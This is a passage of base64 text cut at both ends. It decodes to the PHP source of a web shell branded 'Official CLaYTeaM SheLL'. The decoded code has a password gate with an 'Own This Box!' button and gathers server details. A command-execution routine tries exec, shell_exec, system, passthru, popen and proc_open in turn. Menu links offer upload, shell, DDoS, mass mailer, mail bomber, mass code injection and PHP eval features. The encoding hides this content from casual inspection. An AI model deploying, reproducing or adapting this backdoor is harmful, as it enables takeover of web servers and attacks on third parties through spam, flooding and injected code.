CB0ZXh0LWRlY29yYXRpb246bm9uZTsgDQp9IA0KdGQuZGlyIGEgDQp7IA0KICAgIGNvbG9yIDogd2hpdGU7IA0KICAgIHRleHQtZGVjb3JhdGlvbjpub25lOyANCn0gDQp0ZC5kb3dubG9hZCx0ZC5kb3dubG9hZDIgDQp7IA0KICAgIGNvbG9yOiMwMDQ4NDg7IA0KfSANCiNzcGFjaW5nIA0KeyANCiAgICBwYWRkaW5nOjEwcHg7IA0KICAgIG1hcmdpbi1sZWZ0OjIwMHB4OyANCn0gDQp0aC5oZWFkZXIgDQp7IA0KICAgIGJhY2tncm91bmQ6IG5vbmUgcmVwZWF0IHNjcm9sbCAwIDAgIzE5MTkxOTsgDQogICAgY29sb3I6IHdoaXRlOyANCiAgICBib3JkZXItYm90dG9tIDogMXB4IHNvbGlkICMzMzMzMzM7IA0KfSANCnAud2FybmluZyANCnsgDQogICAgYmFja2dyb3VuZCA6IHJlZDsgDQogICAgY29sb3I6IHdoaXRlOyANCn0gDQoNCi8qIA0KDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLUNTUyBFTkQtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gDQoNCiovIA0KPC9zdHlsZT4gDQo8L2hlYWQ+IA0KDQo8Ym9keSB0ZXh0PSJyZ2IoMzksMjQ1LDEwKSIgYmdjb2xvcj0iYmxhY2siPiANCjw/cGhwIA0KDQppZihpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmICRsb2NrID09ICdvbicpIA0KeyANCiAgICBpZiggJF9QT1NUWyd1c2VyJ10gPT0gJHVzZXIgJiYgDQogICAgICAgICAkX1BPU1RbJ3Bhc3MnXSA9PSAkcGFzcyApIA0KICAgIHsgDQogICAgICAgICAgICAkX1NFU1NJT05bJ2F1dGhlbnRpY2F0ZWQnXSA9IDE7IA0KICAgICAgICAgICAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tIFRyYWNlYmFja3MgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gDQogICAgICAgICAgICBpZigkdHJhY2ViYWNrRmVhdHVyZSA9PSAnT24nKSANCiAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgc2VuZExvZ2luQWxlcnQoKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIA0KICAgIH0gDQp9IA0KDQppZigkbG9jayA9PSAnb2ZmJykgDQp7Pz4gDQogICAgPHAgY2xhc3M9Indhcm5pbmciPjxiPkxvY2sgaXMgU3dpdGNoZWQgT2ZmISAsIFRoZSBzaGVsbCBjYW4gYmUgYWNjZXNzZWQgYnkgYW55b25lITwvYj48L3A+IA0KPD9waHAgDQp9IA0KDQppZigkbG9jayA9PSAnb24nICYmICghaXNzZXQoJF9TRVNTSU9OWydhdXRoZW50aWNhdGVkJ10pIHx8ICRfU0VTU0lPTlsnYXV0aGVudGljYXRlZCddIT0xKSApIA0KeyANCg0KPz4gDQo8dGFibGU+IA0KICAgIDx0Ym9keT4gDQogICAgICAgIDx0cj4gDQogICAgICAgICAgICAgDQogICAgICAgIDxwcmU+IA0KPGNlbnRlcj48Zm9udCBjb2xvcj0iT3JhbmdlIj4gDQo8Yj48dGl0bGU+WyFdIENMYVlUZWFNIC0gU2hlTEw8L3RpdGxlPg0KPGxpbmsgaHJlZj0naHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9SWNlbGFuZCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+DQo8c3R5bGU+Ym9keXtjdXJzb3I6dXJsKCIuLi93d3cubWFkbGVldHMuY29tL2VsaGFja2VyLmN1ciIpLGF1dG87fWh0bWx7ZGlzcGxheTp0YWJsZTtoZWlnaHQ6MTAwJTt3aWR0aDoxMDAlO31ib2R5e2Rpc3BsYXk6dGFibGUtcm93O31ib2R5e2Rpc3BsYXk6dGFibGUtY2VsbDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7dGV4dC1hbGlnbjpjZW50ZXI7fWE6bGlua3t0ZXh0LWRlY29yYXRpb246bm9uZTt9PC9zdHlsZT4NCjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9pLmltZ3VyLmNvbS82a0JkNWc0LnBuZyIgYWx0PSJsb2dvIj4NCjxicj48YnI+PGJyPg0KPGJvZHkgYmdjb2xvcj0nYmxhY2snPg0KPGZvbnQgZmFjZT0iSWNlbGFuZCIgc3R5bGU9ImNvbG9yOnJlZDt0ZXh0LXNoYWRvdzowcHggMXB4IDVweCAjMDAwO2ZvbnQtc2l6ZTo2MHB4Ij5bIV0gT2ZmaWNpYWwgQ0xhWVRlYU0gU2hlTEw8L2ZvbnQ+DQo8L2NlbnRlcj4NCjxicj4NCjxmb250IGZhY2U9IkljZWxhbmQiIHN0eWxlPSJjb2xvcjpsaW1lO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPjwvZm9udD4gPC9jZW50ZXI+DQo8L2I+IA0KPC9wcmU+IA0KICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDwhLS0gPGgxPjw/cGhwIC8vIGVjaG8gJGdyZWV0aW5nOz8+PC9oMT4gIA0KICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJMb2dvXzAzLnBuZyIgY2xhc3M9ImltYWdlRm9ybSIgLz4gLS0+IA0KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+Ij4gDQogICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJVc2VybmFtZSIvPiA8aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIHZhbHVlPSJQYXNzd29yZCIvPiA8aW5wdXQgY2xhc3M9Im93biIgdHlwZT0iU3VibWl0IiB2YWx1ZT0iT3duIFRoaXMgQm94ISIvPiANCiAgICAgICAgICAgICAgICA8L2Zvcm0+IA0KICAgICAgICAgICAgPC90ZD4gDQogICAgICAgIDwvdHI+IA0KICAgIDwvdGJvZHk+IA0KPC90YWJsZT4gDQo8P3BocCANCn0gDQovLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gV2UgYXJlIGF1dGhlbnRpY2F0ZWQgbm93LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSANCi8vTGF1bmNoIHRoZSBzaGVsbCANCmVsc2UgIA0KeyANCiAgICAvLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gRnVjdGlvbnMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIA0KDQogICAgZnVuY3Rpb24gc2hvd0RyaXZlcygpIA0KICAgIHsgDQogICAgICAgIGdsb2JhbCAkc2VsZjsgDQogICAgICAgIGZvcmVhY2gocmFuZ2UoJ0EnLCdaJykgYXMgJGRyaXZlKSANCiAgICAgICAgeyANCiAgICAgICAgICAgIGlmKGlzX2RpcigkZHJpdmUuJzpcXCcpKSANCiAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgPz4gDQogICAgICAgICAgICAgICAgPGEgY2xhc3M9ImRpciIgaHJlZj0nPD9waHAgZWNobyAkc2VsZiA/Pj9kaXI9PD9waHAgZWNobyAkZHJpdmUuIjpcXCI7ID8+Jz4gDQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRyaXZlLiI6XFwiID8+IA0KICAgICAgICAgICAgICAgIDwvYT4gIA0KICAgICAgICAgICAgICAgIDw/cGhwIA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICB9IA0KDQogICAgZnVuY3Rpb24gSHVtYW5SZWFkYWJsZUZpbGVzaXplKCRzaXplKSANCiAgICB7IA0KICANCiAgICAgICAgJG1vZCA9IDEwMjQ7IA0KICANCiAgICAgICAgJHVuaXRzID0gZXhwbG9kZSgnICcsJ0IgS0IgTUIgR0IgVEIgUEInKTsgDQogICAgICAgIGZvciAoJGkgPSAwOyAkc2l6ZSA+ICRtb2Q7ICRpKyspICANCiAgICAgICAgeyANCiAgICAgICAgICAgICRzaXplIC89ICRtb2Q7IA0KICAgICAgICB9IA0KICANCiAgICAgICAgcmV0dXJuIHJvdW5kKCRzaXplLCAyKSAuICcgJyAuICR1bml0c1skaV07IA0KICAgIH0gDQoNCmZ1bmN0aW9uIGdldENsaWVudElwKCkgDQp7IA0KICAgIGVjaG8gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107IA0KfSANCg0KZnVuY3Rpb24gZ2V0U2VydmVySXAoKSANCnsgDQogICAgZWNobyBnZXRlbnYoJ1NFUlZFUl9BRERSJyk7IA0KfSANCmZ1bmN0aW9uIGdldFNvZnR3YXJlSW5mbygpIA0KeyANCiAgICBlY2hvIHBocF91bmFtZSgpOyANCn0gDQpmdW5jdGlvbiBkaXNrU3BhY2UoKSANCnsgDQogICAgZWNobyBIdW1hblJlYWRhYmxlRmlsZXNpemUoZGlza190b3RhbF9zcGFjZSgiLyIpKTsgDQp9IA0KZnVuY3Rpb24gZnJlZVNwYWNlKCkgDQp7IA0KICAgIGVjaG8gSHVtYW5SZWFkYWJsZUZpbGVzaXplKGRpc2tfZnJlZV9zcGFjZSgiLyIpKTsgDQp9IA0KZnVuY3Rpb24gZ2V0U2FmZU1vZGUoKSANCnsgDQogICAgICAgIGdsb2JhbCAkc207IA0KICAgICAgICBlY2hvKCRzbT8iT04gOiggOicoIChNb3N0IG9mIHRoZSBGZWF0dXJlcyB3aWxsIE5vdCBXb3JrISkiOiJPRkYiKTsgDQogICAgICAgICANCn0gDQoNCmZ1bmN0aW9uIGdldERpc2FibGVkRnVuY3Rpb25zKCkgDQp7IA0KICAgIGlmKCFpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSANCiAgICB7IA0KICAgICAgICBlY2hvICJOb25lIjsgDQogICAgfSANCiAgICBlbHNlIA0KICAgIHsgDQogICAgICAgICAgICBlY2hvIEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOyANCiAgICB9IA0KfSANCg0KZnVuY3Rpb24gZ2V0RmlsZVBlcm1pc3Npb25zKCRmaWxlKSANCnsgDQogICAgIA0KJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsgDQoNCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsgDQogICAgLy8gU29ja2V0IA0KICAgICRpbmZvID0gJ3MnOyANCn0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsgDQogICAgLy8gU3ltYm9saWMgTGluayANCiAgICAkaW5mbyA9ICdsJzsgDQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7IA0KICAgIC8vIFJlZ3VsYXIgDQogICAgJGluZm8gPSAnLSc7IA0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgeyANCiAgICAvLyBCbG9jayBzcGVjaWFsIA0KICAgICRpbmZvID0gJ2InOyANCn0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsgDQogICAgLy8gRGlyZWN0b3J5IA0KICAgICRpbmZvID0gJ2QnOyANCn0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsgDQogICAgLy8gQ2hhcmFjdGVyIHNwZWNpYWwgDQogICAgJGluZm8gPSAnYyc7IA0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgeyANCiAgICAvLyBGSUZPIHBpcGUgDQogICAgJGluZm8gPSAncCc7IA0KfSBlbHNlIHsgDQogICAgLy8gVW5rbm93biANCiAgICAkaW5mbyA9ICd1JzsgDQp9IA0KDQovLyBPd25lciANCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7IA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsgDQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPyANCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogDQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsgDQoNCi8vIEdyb3VwIA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsgDQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOyANCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/IA0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiANCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOyANCg0KLy8gV29ybGQgDQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOyANCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7IA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8gDQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6IA0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7IA0KDQpyZXR1cm4gJGluZm87IA0KDQp9IA0KDQovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovIA0KLy8gZXhlY19hbGwgLCBBIGZ1bmN0aW9uIHVzZWQgdG8gZXhlY3V0ZSBjb21tYW5kcyAsIFRoaXMgZnVuY3Rpb24gd2lsbCBvbmx5IGV4ZWN1dGUgaWYgdGhlIFNhZmUgTW9kZSBpcyANCi8vIFR1cm5lZCBPZkYhIA0KLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovIA0KDQoNCmZ1bmN0aW9uIGV4ZWNfYWxsKCRjb21tYW5kKSANCnsgDQogICAgIA0KICAgICRvdXRwdXQgPSAnJzsgDQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIA0KICAgIHsgICAgDQogICAgICAgIGV4ZWMoJGNvbW1hbmQsJG91dHB1dCk7IA0KICAgICAgICAkb3V0cHV0ID0gam9pbigiXG4iLCRvdXRwdXQpOyANCiAgICB9IA0KICAgICANCiAgICBlbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSANCiAgICB7IA0KICAgICAgICAkb3V0cHV0ID0gc2hlbGxfZXhlYygkY29tbWFuZCk7IA0KICAgIH0gDQogICAgIA0KICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKSANCiAgICB7IA0KICAgICAgICAkaGFuZGxlID0gcG9wZW4oJGNvbW1hbmQgLCAiciIpOyAvLyBPcGVuIHRoZSBjb21tYW5kIHBpcGUgZm9yIHJlYWRpbmcgDQogICAgICAgIGlmKGlzX3Jlc291cmNlKCRoYW5kbGUpKSANCiAgICAgICAgeyANCiAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZnJlYWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSkgDQogICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRoYW5kbGUpKSANCiAgICAgICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49IGZyZWFkKCRoYW5kbGUsIDUxMik7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ2ZnZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpIA0KICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICB3aGlsZSghZmVvZigkaGFuZGxlKSkgDQogICAgICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCAuPSBmZ2V0cygkaGFuZGxlLDUxMik7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICBwY2xvc2UoJGhhbmRsZSk7IA0KICAgIH0gDQogICAgIA0KICAgICANCiAgICBlbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIA0KICAgIHsgDQogICAgICAgIG9iX3N0YXJ0KCk7IC8vc3RhcnQgb3V0cHV0IGJ1ZmZlcmluZyANCiAgICAgICAgc3lzdGVtKCRjb21tYW5kKTsgDQogICAgICAgICRvdXRwdXQgPSBvYl9nZXRfY29udGVudHMoKTsgICAgLy8gR2V0IHRoZSBvdXB1dCAgDQogICAgICAgIG9iX2VuZF9jbGVhbigpOyAgICAgICAgICAgICAgICAgLy8gU3RvcCBvdXRwdXQgYnVmZmVyaW5nIA0KICAgIH0gDQogICAgIA0KICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSANCiAgICB7IA0KICAgICAgICBvYl9zdGFydCgpOyAvL3N0YXJ0IG91dHB1dCBidWZmZXJpbmcgDQogICAgICAgIHBhc3N0aHJ1KCRjb21tYW5kKTsgDQogICAgICAgICRvdXRwdXQgPSBvYl9nZXRfY29udGVudHMoKTsgICAgLy8gR2V0IHRoZSBvdXB1dCAgDQogICAgICAgIG9iX2VuZF9jbGVhbigpOyAgICAgICAgICAgICAgICAgLy8gU3RvcCBvdXRwdXQgYnVmZmVyaW5nICAgICAgICAgICAgIA0KICAgIH0gDQogICAgIA0KICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSkgDQogICAgeyANCiAgICAgICAgJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoIA0KICAgICAgICAgICAgICAgIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLCAgLy8gc3Rkb3V0IGlzIGEgcGlwZSB0aGF0IHRoZSBjaGlsZCB3aWxsIHdyaXRlIHRvIA0KICAgICAgICAgICAgICAgICk7IA0KICAgICAgICAkaGFuZGxlID0gcHJvY19vcGVuKCRjb21tYW5kICwkZGVzY3JpcHRvcnNwZWMgLCAkcGlwZXMpOyAvLyBUaGlzIHdpbGwgcmV0dXJuIHRoZSBvdXRwdXQgdG8gYW4gYXJyYXkgJ3BpcGVzJyANCiAgICAgICAgaWYoaXNfcmVzb3VyY2UoJGhhbmRsZSkpIA0KICAgICAgICB7IA0KICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdmcmVhZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKSANCiAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgd2hpbGUoIWZlb2YoJHBpcGVzWzFdKSkgDQogICAgICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCAuPSBmcmVhZCgkcGlwZXNbMV0sIDUxMik7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ2ZnZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpIA0KICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICB3aGlsZSghZmVvZigkcGlwZXNbMV0pKSANCiAgICAgICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49IGZnZXRzKCRwaXBlc1sxXSw1MTIpOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgcGNsb3NlKCRoYW5kbGUpOyANCiAgICB9IA0KICAgIGVsc2UgDQogICAgeyANCiAgICAgICAgJG91dHB1dCA9ICJUaGV5IGhhdmUgdGhlaXIgU2VjdXJpdHkgdGhlcmUhIDooICI7IA0KICAgIH0gDQogICAgIA0KICAgIHJldHVybihodG1sc3BlY2lhbGNoYXJzKCRvdXRwdXQpKTsgDQogICAgIA0KfSANCmZ1bmN0aW9uIG1hZ2ljUXVvdGUoJHRleHQpIA0KeyANCiAgICBpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIA0KICAgIHsgDQogICAgICAgIHJldHVybiAkdGV4dDsgDQogICAgfSANCiAgICByZXR1cm4gc3RyaXBzbGFzaGVzKCR0ZXh0KTsgDQp9IA0KLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gDQoNCg0KPz4gDQoNCjx0YWJsZSBjbGFzcz0idG9wIj4gDQogICAgPHRib2R5PiANCiAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dvIj4gDQogICAgICAgICAgICAgICAgPGgxPjxsaW5rIGhyZWY9J2h0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUljZWxhbmQnIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnPg0KPHN0eWxlPmJvZHl7Y3Vyc29yOnVybCgiLi4vd3d3Lm1hZGxlZXRzLmNvbS9lbGhhY2tlci5jdXIiKSxhdXRvO31odG1se2Rpc3BsYXk6dGFibGU7aGVpZ2h0OjEwMCU7d2lkdGg6MTAwJTt9Ym9keXtkaXNwbGF5OnRhYmxlLXJvdzt9Ym9keXtkaXNwbGF5OnRhYmxlLWNlbGw7dmVydGljYWwtYWxpZ246bWlkZGxlO3RleHQtYWxpZ246Y2VudGVyO31hOmxpbmt7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fTwvc3R5bGU+DQo8Y2VudGVyPjxpbWcgc3JjPSJodHRwOi8vaS5pbWd1ci5jb20vNmtCZDVnNC5wbmciIGFsdD0ibG9nbyI+DQo8L2NlbnRlcj4NCjxmb250IGZhY2U9IkljZWxhbmQiIHN0eWxlPSJjb2xvcjpsaW1lO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPjwvaDE+PGJsb2NrcXVvdGUgY2xhc3M9InNtYWxsIj5TaGVsbDwvYmxvY2txdW90ZT4gDQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgPC9kaXY+IA0KICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyIj4gDQogICAgICAgICAgICA8P3BocCBnZXRTb2Z0d2FyZUluZm8oKTsgPz48YnIgLz4gDQpZb3VyIElQIDogPD9waHAgZ2V0Q2xpZW50SXAoKTsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IFNlcnZlciBJUCA6IDw/cGhwIGdldFNlcnZlcklwKCk7Pz4gPGJyIC8+IA0KICAgICAgICAgICAgU2FmZSBNb2RlIDogPD9waHAgZ2V0U2FmZU1vZGUoKTsgPz48YnIgLz4gDQogICAgICAgICAgICA8P3BocCBpZigkb3MgPT0gJ1dpbmRvd3MnKXsgZWNobyBzaG93RHJpdmVzKCk7fSA/PiA8P3BocCBlY2hvIGdldGN3ZCgpOz8+IA0KICAgICAgICAgICAgPC9kaXY+IA0KICAgICAgICAgICAgPC90ZD4gDQogICAgICAgIDwvdHI+IA0KICAgIDwvdGJvZHk+IA0KPC90YWJsZT4gDQo8ZGl2IGNsYXNzPSJoZWFkZXIiIGlkPSJib3JkZXJzIj4gDQogICAgICAgICAgICBTZXJ2ZXIgQURNSU46IDw/cGhwIGVjaG8gJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddOz8+IDxmb250IGNvbG9yPSJzaWx2ZXIiID58PC9mb250PiANCiAgICAgICAgICAgIFBIUCBWRVJTSU9OIDogPD9waHAgZWNobyAkcGhwVmVyc2lvbjsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IA0KICAgICAgICAgICAgQ3VybCA6IDw/cGhwIGVjaG8gZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8oIjxmb250IGNvbG9yPSdyZWQnPkVuYWJsZWQ8L2ZvbnQ+Iik6KCJEaXNhYmxlZCIpOyA/PiA8Zm9udCBjb2xvcj0ic2lsdmVyIiA+fDwvZm9udD4gDQogICAgICAgICAgICBPcmFjbGUgOiA8P3BocCBlY2hvIGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKT8oIjxmb250IGNvbG9yPSdyZWQnPkVuYWJsZWQ8L2ZvbnQ+Iik6KCJEaXNhYmxlZCIpOyA/PiA8Zm9udCBjb2xvcj0ic2lsdmVyIiA+fDwvZm9udD4gDQogICAgICAgICAgICBNeVNRTCA6IDw/cGhwICBlY2hvIGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpPygiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iKTooIkRpc2FibGVkIik7Pz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IA0KICAgICAgICAgICAgTVNTUUwgOiA8P3BocCBlY2hvIGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpPygiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iKTooIkRpc2FibGVkIik7ID8+IDxmb250IGNvbG9yPSJzaWx2ZXIiID58PC9mb250PiANCiAgICAgICAgICAgIFBvc3RncmVTUUwgOiA8P3BocCBlY2hvIGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpPygiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iKTooIkRpc2FibGVkIik7ID8+IDxmb250IGNvbG9yPSJzaWx2ZXIiID58PC9mb250PiANCiAgICAgICAgICAgIERpc2FibGUgZnVuY3Rpb25zIDogPD9waHAgZ2V0RGlzYWJsZWRGdW5jdGlvbnMoKTsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IA0KICAgICAgICAgICAgU3BhY2UgOiA8P3BocCBkaXNrU3BhY2UoKTsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IA0KICAgICAgICAgICAgRnJlZSA6IDw/cGhwIGZyZWVTcGFjZSgpOyA/PiANCiAgICAgICAgPC90YWJsZT4gDQo8L2Rpdj4gDQo8ZGl2IGNsYXNzPSJuYXYiPiANCjx1bD4gDQogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGY7Pz4iPkhvbWU8L2E+PC9saT4gDQogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz91cGxvYWQnOz8+Ij5VcGxvYWQ8L2E+PC9saT4gDQogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9zaGVsbCc7Pz4iPlNoZWxsPC9hPjwvbGk+IA0KICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/ZG9zJzs/PiI+RERvUzwvYT48L2xpPiANCiAgICA8bGk+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZi4nP2Z1enonOz8+Ij5XZWItU2VydmVyIEZ1enplcjwvYT48L2xpPiANCiAgICA8bGk+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZi4nP21haWwnPz4iPk1hc3MgTWFpbGVyPC9hPjwvbGk+IA0KICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/Ym9tYic/PiI+TWFpbCBCb21iZXI8L2E+PC9saT4gDQogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9jb25uZWN0Jz8+Ij5Db25uZWN0PC9hPjwvbGk+IA0KICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/aW5qZWN0b3InPz4iPk1hc3MgQ29kZSBJbmplY3RvcjwvYT48L2xpPiANCiAgICA8bGk+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZi4nP2RlY29kZSc/PiI+UEhQIERlY29kZXI8L2E+PC9saT4gDQogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9ldmFsJz8+Ij5QSFAgRXZhbHVhdGU8L2E+PC9saT4gDQoNCiAgICA8P3BocCBpZigkbG9jayA9PSAnb24nKSANCiAgICB7IA0KICAgID8+IA0KICAgICAgICA8bGk+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZi4nP2xvZ291dCc/PiI+SSBtIE91dCE8L2E+PC9saT4gDQogICAgPD9waHAgDQogICA